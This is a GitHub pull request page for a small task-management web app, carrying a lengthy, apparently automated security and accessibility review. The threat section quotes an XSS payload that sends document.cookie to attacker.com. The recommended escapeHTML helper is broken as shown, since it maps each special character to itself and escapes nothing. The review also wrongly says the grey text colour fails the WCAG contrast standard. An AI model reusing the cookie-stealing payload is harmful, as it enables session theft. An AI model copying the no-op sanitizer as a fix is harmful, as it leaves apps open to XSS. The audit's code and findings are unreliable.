SCRUM-103: Create a Taskmanagement app with just simple html and css#7
SCRUM-103: Create a Taskmanagement app with just simple html and css#7muhil0304 wants to merge 1 commit into
Conversation
muhil0304
left a comment
There was a problem hiding this comment.
Security & Architecture Review: Task Management App
Reviewer: Jordan, Principal System Architect (Cloud-Native & Security-First)
Status:
1. Executive Summary
While this lightweight Task Management application is a clean and functional start, it contains several critical security vulnerabilities, architectural single points of failure, and accessibility (WCAG AA) non-compliance issues that must be resolved before it can be considered production-ready.
As a security-first architect, my review focuses on establishing a zero-trust posture, ensuring high resilience, and preparing the application for horizontal scalability and future cloud integration.
2. Security & Threat Model Analysis
DOM-Based Cross-Site Scripting (XSS) — Critical
- Vulnerability: The
renderTasksfunction usesinnerHTMLto render task items directly from user input (task.text) without sanitization or escaping. - Threat Scenario: An attacker inputs a malicious payload as a task name (e.g.,
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">). If this application is ever connected to a backend database where tasks are shared, synced, or viewed by administrators, this becomes a Stored XSS vulnerability, leading to session hijacking or credential theft. - Mitigation: Implement a robust HTML escaping utility or refactor the rendering engine to use
document.createElementandtextContent.
Content Security Policy (CSP) Non-Compliance — High
- Vulnerability: The dynamically generated HTML uses inline event handlers (e.g.,
onclick="toggleTask(...)",onclick="deleteTask(...)"). - Threat Scenario: To run this application securely in production, a strict Content Security Policy (CSP) must be enforced (e.g.,
script-src 'self'). Inline event handlers violate this policy and require the dangerousunsafe-inlinedirective, which completely neutralizes CSP protections against XSS. - Mitigation: Refactor the event handling to use Event Delegation by attaching a single event listener to the parent
<ul>element.
Storage Integrity & Tampering — Medium
- Vulnerability: The application parses data from
localStorageusingJSON.parse()without validating the structure or schema of the retrieved data. - Threat Scenario: If a user or a malicious script tampers with the
localStoragepayload (e.g., settingtasksto an invalid JSON string or a malformed object), the application will crash on load with an unhandledSyntaxError. - Mitigation: Wrap storage access in a safe wrapper with validation and fallback mechanisms.
graph TD
subgraph Current Vulnerable Flow
A[User Input: Malicious Script] -->|No Sanitization| B[app.js: addTask]
B -->|JSON.stringify| C[(localStorage)]
C -->|JSON.parse| D[app.js: renderTasks]
D -->|innerHTML| E[DOM / Browser Execution]
E -->|XSS Payload Executes| F[Session Hijacking / Data Theft]
end
subgraph Secure Zero-Trust Flow
G[User Input: Malicious Script] -->|Sanitize / Escape HTML| H[app.js: addTask]
H -->|JSON.stringify| I[(localStorage with try-catch)]
I -->|JSON.parse with Validation| J[app.js: renderTasks]
J -->|textContent / Event Delegation| K[DOM / Safe Rendering]
K -->|No Inline Scripts / Strict CSP| L[Secure Browser Execution]
end
3. Architectural Alignment & Resilience
DOM Lifecycle & Initialization
- Issue: The script queries DOM elements immediately upon execution. If
app.jsis loaded in the<head>without thedeferattribute, or before the DOM is fully parsed, it will throw aTypeErrorand fail to initialize. - Mitigation: Wrap the initialization logic in a
DOMContentLoadedevent listener or guarantee the use of thedeferattribute on the<script>tag.
LocalStorage Resilience
- Issue: Direct access to
localStoragecan throw aSecurityErrorin sandboxed environments, private browsing modes, or when third-party storage is blocked by browser privacy settings. Additionally,setItemcan throw aQuotaExceededErrorif the browser's storage limit is reached. - Mitigation: Implement a robust storage wrapper with
try-catchblocks and an in-memory fallback array to ensure the app remains functional even if persistent storage is unavailable.
4. Performance, Observability & Accessibility
Performance & DOM Manipulation
- Issue: Re-rendering the entire task list (
renderTasks()) on every single state change (add, toggle, delete, filter) causes layout thrashing and performance degradation as the list grows. - Mitigation: While acceptable for a simple prototype, future iterations should transition to targeted DOM updates or a virtual DOM approach. Additionally, avoid transitioning
allproperties in CSS; instead, transition specific properties (e.g.,transition: background-color 0.2s ease) to prevent unnecessary browser layout and paint recalculations.
Observability
- Issue: The application lacks structured logging or error tracking. If a storage error or runtime exception occurs, there is no visibility.
- Mitigation: Implement structured console logging and prepare hooks for an observability platform (e.g., Sentry) to track client-side exceptions in production.
Accessibility (A11y) — WCAG AA Compliance
- Low Contrast: The
--text-secondarycolor (#6b7280) on a white background has a contrast ratio of 3.97:1, which fails the WCAG AA standard of 4.5:1. Completed tasks applyopacity: 0.6on top of this, making them virtually unreadable. - Outline Removal: Removing the focus outline (
outline: none) on#taskInput:focusmakes keyboard navigation extremely difficult for users relying on screen readers or assistive technologies. - Missing Labels: The task input field is missing an associated
<label>oraria-label, making it inaccessible to screen readers.
5. Future-Proof Cloud-Native Architecture
To scale this application from a local-only prototype to a production-grade, multi-tenant cloud service, we should adopt a serverless, zero-trust architecture on AWS:
graph LR
subgraph Client Layer
A[SPA: HTML/CSS/JS] -->|Strict CSP / HTTPS| B[CloudFront CDN]
B -->|S3 Bucket| C[Static Web Hosting]
end
subgraph Security & API Gateway
D[Client Browser] -->|HTTPS / WAF| E[Amazon API Gateway]
E -->|Cognito JWT Auth| F[Authorizer]
end
subgraph Compute & Storage (Zero-Trust)
E -->|IAM Role| G[AWS Lambda: Task Service]
G -->|Structured Logging: CloudWatch| H[Observability]
G -->|KMS Encrypted| I[(Amazon DynamoDB)]
end
D -->|Fetch Static Assets| B
D -->|REST API Calls| E
- Static Hosting: AWS S3 + CloudFront (CDN) with strict security headers (CSP, HSTS, X-Frame-Options).
- API Layer: Amazon API Gateway protected by AWS WAF (Web Application Firewall) to mitigate SQLi, XSS, and DDoS attacks.
- Authentication: AWS Cognito for secure user authentication and JWT-based authorization.
- Compute: AWS Lambda (Serverless) running microservices with strict IAM roles (least privilege).
- Database: Amazon DynamoDB (NoSQL) with KMS encryption at rest.
6. Actionable Code Refactoring & Remediation
To resolve the security, resilience, and accessibility issues, apply the following refactoring:
A. Secure HTML Escaping Utility (app.js)
Add this helper function to sanitize user input before rendering:
function escapeHTML(str) {
return str.replace(/[&<>'"]/g,
tag => ({
'&': '&',
'<': '<',
'>': '>',
"'": ''',
'"': '"'
}[tag] || tag)
);
}B. Safe Storage Wrapper (app.js)
Replace direct localStorage calls with a resilient wrapper:
const storage = {
get(key) {
try {
const data = localStorage.getItem(key);
return data ? JSON.parse(data) : null;
} catch (e) {
console.warn('Storage read failed, falling back to memory:', e);
return null;
}
},
set(key, value) {
try {
localStorage.setItem(key, JSON.stringify(value));
return true;
} catch (e) {
console.error('Storage write failed:', e);
return false;
}
}
};C. Event Delegation & Safe Rendering (app.js)
Refactor renderTasks to use the escaping helper and remove inline event handlers:
// Render tasks safely
function renderTasks() {
let filteredTasks = tasks;
if (currentFilter === 'active') {
filteredTasks = tasks.filter(task => !task.completed);
} else if (currentFilter === 'completed') {
filteredTasks = tasks.filter(task => task.completed);
}
// Render using escaped HTML and data attributes instead of inline event handlers
taskList.innerHTML = filteredTasks.map(task => `
<li class="task-item ${task.completed ? 'completed' : ''}" data-id="${task.id}">
<input
type="checkbox"
class="task-checkbox"
${task.completed ? 'checked' : ''}
/>
<span class="task-text">${escapeHTML(task.text)}</span>
<button class="delete-btn" aria-label="Delete task">Delete</button>
</li>
`).join('');
const activeCount = tasks.filter(t => !t.completed).length;
taskCount.textContent = `${activeCount} task${activeCount !== 1 ? 's' : ''} left`;
}
// Event Delegation on the parent list container
taskList.addEventListener('click', (e) => {
const taskItem = e.target.closest('.task-item');
if (!taskItem) return;
const id = parseInt(taskItem.dataset.id, 10);
if (e.target.classList.contains('task-checkbox')) {
toggleTask(id);
} else if (e.target.classList.contains('delete-btn')) {
deleteTask(id);
}
});D. Accessibility Fixes (index.html & styles.css)
Update index.html to include an aria-label and wrap the input in a <form> for native submission:
<form id="taskForm" class="add-task-section">
<input
type="text"
id="taskInput"
placeholder="Enter a new task..."
aria-label="New task description"
/>
<button type="submit" id="addTaskBtn" class="btn-primary">Add Task</button>
</form>Update styles.css to meet WCAG AA contrast standards and restore focus outlines:
:root {
--primary-color: #4f46e5;
--danger-color: #dc2626;
--success-color: #059669;
--bg-color: #f9fafb;
--card-bg: #ffffff;
--text-color: #111827;
--text-secondary: #4b5563; /* Increased contrast from #6b7280 */
--border-color: #e5e7eb;
}
/* Restore and style focus outline for keyboard accessibility */
#taskInput:focus-visible {
outline: 2px solid var(--primary-color);
outline-offset: 2px;
}
/* Avoid transitioning 'all' properties */
.btn-primary,
.btn-secondary {
transition: background-color 0.2s ease, transform 0.2s ease;
}Next Steps
Please apply these security, resilience, and accessibility remediations. Once implemented, this application will be highly secure, robust, compliant with modern web standards, and ready for production deployment.
Ticket: SCRUM-103
Summary: Create a Taskmanagement app with just simple html and css
Link: https://workforcetest.atlassian.net/browse/SCRUM-103
Automated by workflow run. See the Files changed tab for the diff.